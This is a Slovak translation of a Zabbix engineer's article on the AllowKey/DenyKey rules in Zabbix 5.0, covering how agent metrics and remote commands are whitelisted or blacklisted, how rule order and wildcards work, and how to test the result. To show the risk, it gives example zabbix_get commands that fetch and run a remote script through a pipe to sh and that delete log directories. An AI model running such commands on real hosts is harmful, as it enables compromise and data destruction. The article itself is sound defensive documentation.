Podpora čiernej listiny a bielej listiny pre metriky na strane agentov v Zabbix 5.0

Podpora čiernej listiny a bielej listiny pre metriky na strane agentov v Zabbix 5.0

Podpora čiernej listiny a bielej listiny pre metriky na strane agenta

Tichon Uskov, integračný inžinier, Zabbix

Problémy so zabezpečením údajov

Zabbix 5.0 má novú funkciu, ktorá vám umožňuje zlepšiť bezpečnosť v systémoch pomocou Zabbix Agenta a nahrádza starý parameter EnableRemoteCommands.

Zlepšenia bezpečnosti systémov založených na agentoch vyplývajú zo skutočnosti, že agent môže vykonávať veľké množstvo potenciálne nebezpečných akcií.

  • Agent môže zhromažďovať takmer akékoľvek informácie, vrátane dôverných alebo potenciálne nebezpečných informácií, z konfiguračných súborov, protokolových súborov, súborov hesiel alebo akýchkoľvek iných súborov.

Napríklad pomocou nástroja zabbix_get môžete získať prístup k zoznamu používateľov, ich domovským adresárom, súborom hesiel atď.

Podpora čiernej listiny a bielej listiny pre metriky na strane agentov v Zabbix 5.0

Prístup k údajom pomocou pomôcky zabbix_get

POZNÁMKA. Údaje je možné získať iba vtedy, ak má agent oprávnenie na čítanie príslušného súboru. Ale napríklad súbor /etc/passwd/ čitateľné pre všetkých používateľov.

  • Agent môže vykonávať aj potenciálne nebezpečné príkazy. Napríklad kľúč *system.run[]** vám umožňuje vykonávať akékoľvek vzdialené príkazy na sieťových uzloch vrátane spúšťania skriptov z webového rozhrania Zabbix, ktoré tiež vykonávajú príkazy na strane agenta.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • V systéme Linux sa agent štandardne spúšťa bez oprávnení root, zatiaľ čo v systéme Windows beží ako služba ako systém a má neobmedzený prístup k systému súborov. Ak sa teda po inštalácii nevykonajú žiadne zmeny v parametroch agenta Zabbix, agent má prístup k registrom, súborovému systému a môže vykonávať dotazy WMI.

V predchádzajúcich verziách parameter EnableRemoteCommands=0 povolené iba na deaktiváciu metrík pomocou kľúča *system.run[]** a spúšťanie skriptov z webového rozhrania, ale neexistoval spôsob, ako obmedziť prístup k jednotlivým súborom, povoliť alebo zakázať jednotlivé kľúče, ktoré boli nainštalované s agentom, alebo obmedziť používanie jednotlivých parametrov.

Podpora čiernej listiny a bielej listiny pre metriky na strane agentov v Zabbix 5.0

Použitie parametra EnableRemoteCommand v starších verziách Zabbix

AllowKey/DenyKey

Zabbix 5.0 pomáha chrániť sa pred takýmto neoprávneným prístupom poskytovaním bielych a čiernych zoznamov na povolenie a odmietnutie metrík na strane agenta.

V Zabbix 5.0 všetky kľúče vrátane *system.run[]** sú povolené a boli pridané dve nové možnosti konfigurácie agenta:

AllowKey= — povolené kontroly;

DenyKey= — zakázané kontroly;

kde je vzor názvu kľúča s parametrami, ktorý používa metaznaky (*).

Klávesy AllowKey a DenyKey vám umožňujú povoliť alebo zakázať jednotlivé metriky na základe konkrétneho vzoru. Na rozdiel od iných konfiguračných parametrov nie je počet parametrov AllowKey/DenyKey obmedzený. To umožňuje jasne definovať, čo presne môže agent v systéme robiť, a to vytvorením stromu kontrol – vykonateľných kľúčov, kde veľmi dôležitú úlohu zohráva poradie, v ktorom sú zapísané.

Postupnosť pravidiel

Pravidlá sa kontrolujú v poradí, v akom sú zadané do konfiguračného súboru. Kľúč sa pred prvou zhodou skontroluje podľa pravidiel a akonáhle sa kľúč dátového prvku zhoduje so vzorom, je povolený alebo zamietnutý. Potom sa kontrola pravidiel zastaví a zostávajúce kľúče sa ignorujú.

Preto, ak sa prvok zhoduje s pravidlom povolenia aj zamietnutia, výsledok bude závisieť od toho, ktoré pravidlo je v konfiguračnom súbore prvé.

Podpora čiernej listiny a bielej listiny pre metriky na strane agentov v Zabbix 5.0

2 rôzne pravidlá s rovnakým vzorom a kľúčom vfs.file.size[/tmp/file]

Poradie použitia klávesov AllowKey/DenyKey:

  1. presné pravidlá,
  2. všeobecné pravidlá,
  3. zákazové pravidlo.

Ak napríklad potrebujete prístup k súborom v určitom priečinku, musíte k nim najskôr povoliť prístup a potom zakázať všetko ostatné, čo nespadá do stanovených oprávnení. Ak sa najskôr použije pravidlo odmietnutia, prístup k priečinku bude odmietnutý.

Podpora čiernej listiny a bielej listiny pre metriky na strane agentov v Zabbix 5.0

Správna postupnosť

Ak potrebujete povoliť spustenie 2 nástrojov cez *system.run[]** a pravidlo odmietnutia bude špecifikované ako prvé, pomôcky sa nespustia, pretože prvý vzor bude vždy zodpovedať ľubovoľnému kľúču a nasledujúce pravidlá budú ignorované.

Podpora čiernej listiny a bielej listiny pre metriky na strane agentov v Zabbix 5.0

Nesprávna postupnosť

Vzory

Základné pravidlá

Vzor je výraz so zástupnými znakmi. Metaznak (*) sa zhoduje s ľubovoľným počtom znakov na konkrétnej pozícii. Metaznaky je možné použiť v názve kľúča aj v parametroch. Prvý parameter môžete napríklad presne definovať textom, a nasledujúci zadajte ako zástupný znak.

Parametre musia byť uzavreté v hranatých zátvorkách [].

  • system.run[* - zle
  • vfs.file*.txt] - zle
  • vfs.file.*[*] - správny

Príklady použitia zástupných znakov.

  1. V názve kľúča a v parametri. V tomto prípade kľúč nezodpovedá podobnému kľúču, ktorý neobsahuje parameter, pretože vo vzore sme uviedli, že chceme získať určitú koncovku názvu kľúča a určitú množinu parametrov.
  2. Ak vzor nepoužíva hranaté zátvorky, vzor povolí všetky kľúče, ktoré neobsahujú parametre, a zakáže všetky kľúče, ktoré obsahujú zadaný parameter.
  3. Ak je kľúč zapísaný celý a parametre sú špecifikované ako zástupný znak, bude sa zhodovať s každým podobným kľúčom s akýmikoľvek parametrami a nebude sa zhodovať s kľúčom bez hranatých zátvoriek, t. j. bude povolený alebo zakázaný.

Podpora čiernej listiny a bielej listiny pre metriky na strane agentov v Zabbix 5.0

Pravidlá pre vyplnenie parametrov.

  • Ak sa má použiť kľúč s parametrami, parametre musia byť špecifikované v konfiguračnom súbore. Parametre musia byť špecifikované ako metaznak. Je potrebné starostlivo zakázať prístup k akémukoľvek súboru a vziať do úvahy, aké informácie môže metrika poskytnúť pod rôznym pravopisom - s parametrami a bez nich.

Podpora čiernej listiny a bielej listiny pre metriky na strane agentov v Zabbix 5.0

Vlastnosti klávesov na písanie s parametrami

  • Ak je kľúč zadaný s parametrami, ale parametre sú voliteľné a zadané ako metaznak, kľúč bez parametrov sa vyrieši. Napríklad, ak chcete zakázať prijímanie informácií o zaťažení CPU a určiť, že kľúč system.cpu.load[*] má byť vypnutý, nezabudnite, že kľúč bez parametrov vráti priemernú hodnotu zaťaženia.

Podpora čiernej listiny a bielej listiny pre metriky na strane agentov v Zabbix 5.0

Pravidlá pre vyplnenie parametrov

Poznámky

nastavenie

  • Niektoré pravidlá nemôže používateľ zmeniť, napríklad pravidlá zisťovania alebo pravidlá automatickej registrácie agentov. Pravidlá AllowKey/DenyKey neovplyvňujú nasledujúce parametre:
    - HostnameItem
    - HostMetadataItem
    - HostInterfaceItem

POZNÁMKA. Ak správca zakáže kľúč, pri dotaze Zabbix neposkytne informácie o tom, prečo metrika alebo kľúč spadá do kategórie 'NIE JE PODPOROVANÉ'. V protokolových súboroch agenta sa tiež nezobrazujú informácie o zákazoch vykonávania vzdialených príkazov. Je to z bezpečnostných dôvodov, ale môže to skomplikovať ladenie, ak metriky z nejakého dôvodu spadajú do nepodporovanej kategórie.

  • Pri pripájaní externých konfiguračných súborov by ste sa nemali spoliehať na žiadne konkrétne poradie (napríklad v abecednom poradí).

Pomôcky príkazového riadku

Po nastavení pravidiel sa musíte uistiť, že je všetko správne nakonfigurované.

Môžete použiť jednu z troch možností:

  • Pridajte metriku do Zabbixu.
  • Testovať s zabbix_agentd. Agent Zabbix s opciou -tlač (-p) zobrazuje všetky kľúče (ktoré sú štandardne povolené) okrem tých, ktoré nie sú povolené konfiguráciou. A s možnosťou -test (-t) pretože zakázaný kľúč sa vráti 'Nepodporovaný kľúč položky".
  • Testovať s zabbix_get. Utility zabbix_get s opciou -k vráti sa 'ZBX_NOTSUPPORTED: Neznáma metrika".

Povoliť alebo zamietnuť

Prístup k súboru môžete odmietnuť a overiť napríklad pomocou pomôcky zabbix_getže prístup k súboru je odmietnutý.

Podpora čiernej listiny a bielej listiny pre metriky na strane agentov v Zabbix 5.0

**

POZNÁMKA. Úvodzovky v parametri sa ignorujú.

V tomto prípade môže byť prístup k takémuto súboru povolený cez inú cestu. Napríklad, ak k nemu vedie symbolický odkaz.

Podpora čiernej listiny a bielej listiny pre metriky na strane agentov v Zabbix 5.0

Odporúča sa skontrolovať rôzne možnosti uplatňovania špecifikovaných pravidiel a tiež zohľadniť možnosti obchádzania zákazov.

Otázky a odpovede

otázka. Prečo bol na popis pravidiel, povolení a zákazov zvolený taký zložitý vzor s vlastným jazykom? Prečo nebolo možné použiť napríklad regulárne výrazy, ktoré používa Zabbix?

odpoveď. Toto je problém s výkonom regulárneho výrazu, pretože zvyčajne existuje iba jeden agent a kontroluje veľké množstvo metrík. Regex je pomerne náročná operácia a týmto spôsobom nemôžeme kontrolovať tisíce metrík. Zástupné znaky – univerzálne, široko používané a jednoduché riešenie.

otázka. Nie sú zahrnuté súbory zahrnuté v abecednom poradí?

odpoveď. Pokiaľ viem, je prakticky nemožné predpovedať poradie, v ktorom sa budú pravidlá uplatňovať, ak pravidlá rozložíte medzi rôzne súbory. Odporúčam zhromaždiť všetky pravidlá AllowKey/DenyKey v jednom súbore Include, pretože sa navzájom ovplyvňujú, a zahrnúť tento súbor.

otázka. V Zabbix 5.0 možnosť „EnableRemoteCommands=' v konfiguračnom súbore chýba a sú dostupné iba AllowKey/DenyKey?

Odpoveď. Áno, to je správne.

Ďakujem vám za pozornosť!

Zdroj: hab.com

Pridať komentár